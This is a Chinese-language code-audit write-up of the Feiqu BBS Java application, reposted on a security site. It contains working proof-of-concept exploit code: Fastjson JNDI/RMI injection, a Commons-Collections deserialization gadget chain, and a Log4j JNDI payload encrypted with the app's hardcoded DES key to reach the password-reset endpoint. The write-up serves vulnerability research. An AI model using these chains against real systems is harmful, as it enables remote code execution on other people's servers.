飞趣开源BBS代码审计-JAVA

admin 2022年4月9日23:22:12代码审计评论19 views5159字阅读17分11秒阅读模式

境部署

飞趣 BBS 在 gitee 可以下载到源码,它是由 SpringBoot 搭建,根据 README.md 搭建到 IDEA 即可

目录结构

很奇怪的布局,大概看了一下只有 feiqu-front 存在控制器,其他目录都是一些辅助性的东西

飞趣开源BBS代码审计-JAVA


第三方组件漏洞审计

fastjson:1.2.28

该版本存在反序列化漏洞,可以使用 FastJson1.2.47 通杀 Payload,在项目中创建三个文件验证是否能够利用

飞趣开源BBS代码审计-JAVA


JNDIPayload.java

import java.io.IOException;

public class JNDIPayload {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
}
}
}

JNDIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit",
"JNDIPayload",
"http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}

JNDIClient.java

import com.alibaba.fastjson.JSON;

public class JNDIClient {
public static void main(String[] args){

String text =
"{n" +
" "a": {n" +
" "@type": "java.lang.Class", n" +
" "val": "com.sun.rowset.JdbcRowSetImpl"n" +
" }, n" +
" "b": {n" +
" "@type": "com.sun.rowset.JdbcRowSetImpl", n" +
" "dataSourceName": "rmi://127.0.0.1:1099/Exploit", n" +
" "autoCommit": truen" +
" }n" +
"}";

JSON.parseObject(text);
}
}

开启 python http 服务让 JNDIServer 可以访问到 JNDIPayload.class,然后启动 JNDIServer,最后运行 JNDIClient,成功触发了 FastJson 反序列化漏洞

飞趣开源BBS代码审计-JAVA

飞趣开源BBS代码审计-JAVA



那么接下来要寻找参数可控的 JSON.parseObject 或 JSON.parse

飞趣开源BBS代码审计-JAVA

找到一处可能参数可控的位置,路由是 /u/{uid}/home ,开始调试,发现没有执行到 JSON.parseObject 因为 redisString.get() 返回的数据为 null ,CommonConstant.THOUGHT_TOP_LIST 为 thought_top_list 也就是 redis 的 key,看一下 redis 在哪设置这个 key 的

飞趣开源BBS代码审计-JAVA


有 redisString.get() 那么就有 redisString.set(),找到了,可以看到置顶的 "想法" 会被设置到 redis thought_top_list 的值

飞趣开源BBS代码审计-JAVA


置顶一条 "想法",再次访问 /u/3/home,在源码中写多了一行 String test = redisString.get(); 方便查看从 redis 获取的数据,可以看到值虽然获取到了,但是不可控,那么 fastjosn 无法利用

飞趣开源BBS代码审计-JAVA

飞趣开源BBS代码审计-JAVA


JAVA反序列化漏洞

commons-collections-3.2.1.jar 反序列化漏洞,很经典了,还有其他组件也存在漏洞,这里就列举这一个吧,老规矩在项目中验证一下

没问题可以使用

飞趣开源BBS代码审计-JAVA


飞趣开源BBS代码审计-JAVA


CcSerial.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CcSerial {
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

TiedMapEntry mapEntry = new TiedMapEntry(outerMap, null);

Map expMap = new HashMap();
expMap.put(mapEntry, null);

setFieldValue(chainedTransformer, "iTransformers", transformers);

innerMap.clear();

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(barr);
out.writeObject(expMap);
out.close();

ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
in.readObject();
in.close();

}

private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

寻找反序列化利用点,查找 readObject,可以看到只有一处,并且没有调用该方法的地方,这次又是无功而返

飞趣开源BBS代码审计-JAVA


飞趣开源BBS代码审计-JAVA

log4j-core-2.11.2

log4j 这个版本是存在 JNDI 注入的,先在项目中验证一下,可以看到漏洞是可利用的

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Log4j.class);
logger.error("${jndi:ldap://rzepki.dnslog.cn}");
}
}

飞趣开源BBS代码审计-JAVA


寻找漏洞利用点,搜索有没有存在参数可控的 logger.error,在 comfeiquwebcontrollerUserController.java 找到一处,可以看到拼接了 username

飞趣开源BBS代码审计-JAVA


分析一下 UserController.java#resetPass,首先 key、password、verifyCode 是必不可少的,我们传入的 key 会被 [1] 进行解密,然后在 [2] 给 username 赋值飞趣开源BBS代码审计-JAVA

secret 为 cwd22,在创建 DESUtils 时作为构造方法的参数,decryptString 会对传入的 key 做 base64 解码,然后 DES 解密

飞趣开源BBS代码审计-JAVA


飞趣开源BBS代码审计-JAVA



我们使用 encryptString 方法加密 log4j 的 Exp 就可以了,在本地开启 JNDI 注入工具 JNDI-Injection-Exploit

飞趣开源BBS代码审计-JAVA


以下脚本用于生成恶意 key

public static void main(String[] args) throws Exception {
Key key = null;
// 指定DES加密解密所用的密钥
String keyStr = "cwd22";
String desKey = Base64.encode(keyStr.getBytes("UTF-8"));
DESKeySpec objDesKeySpec = new DESKeySpec(desKey.getBytes("UTF-8"));
SecretKeyFactory objKeyFactory = SecretKeyFactory.getInstance("DES");
key = objKeyFactory.generateSecret(objDesKeySpec);


String str = "${jndi:ldap://127.0.0.1:1389/riv58u}";

// 对字符串进行DES加密,返回BASE64编码的加密字符串
byte[] bytes = str.getBytes();
Cipher cipher = Cipher.getInstance("DES");
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encryptStrBytes = cipher.doFinal(bytes);
String s = Base64.encode(encryptStrBytes);
System.out.println(s);
}

构造好各个参数提交请求成功弹出计算器

飞趣开源BBS代码审计-JAVA


调试一下,可以看到因为找不到 userInfo[1] 而报错

飞趣开源BBS代码审计-JAVA


结语

可谓是一波三折,本人学艺不精,如果有其他利用点还请师傅们指教


来源:先知(https://xz.aliyun.com/t/11137#toc-6)

注:如有侵权请联系删除

飞趣开源BBS代码审计-JAVA


船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!


飞趣开源BBS代码审计-JAVA

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

飞趣开源BBS代码审计-JAVA

人生道路很长,未来可期,

哪怕脚步慢一点也无妨!

原文始发于微信公众号(衡阳信安):飞趣开源BBS代码审计-JAVA

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月9日23:22:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  飞趣开源BBS代码审计-JAVA http://cn-sec.com/archives/891226.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: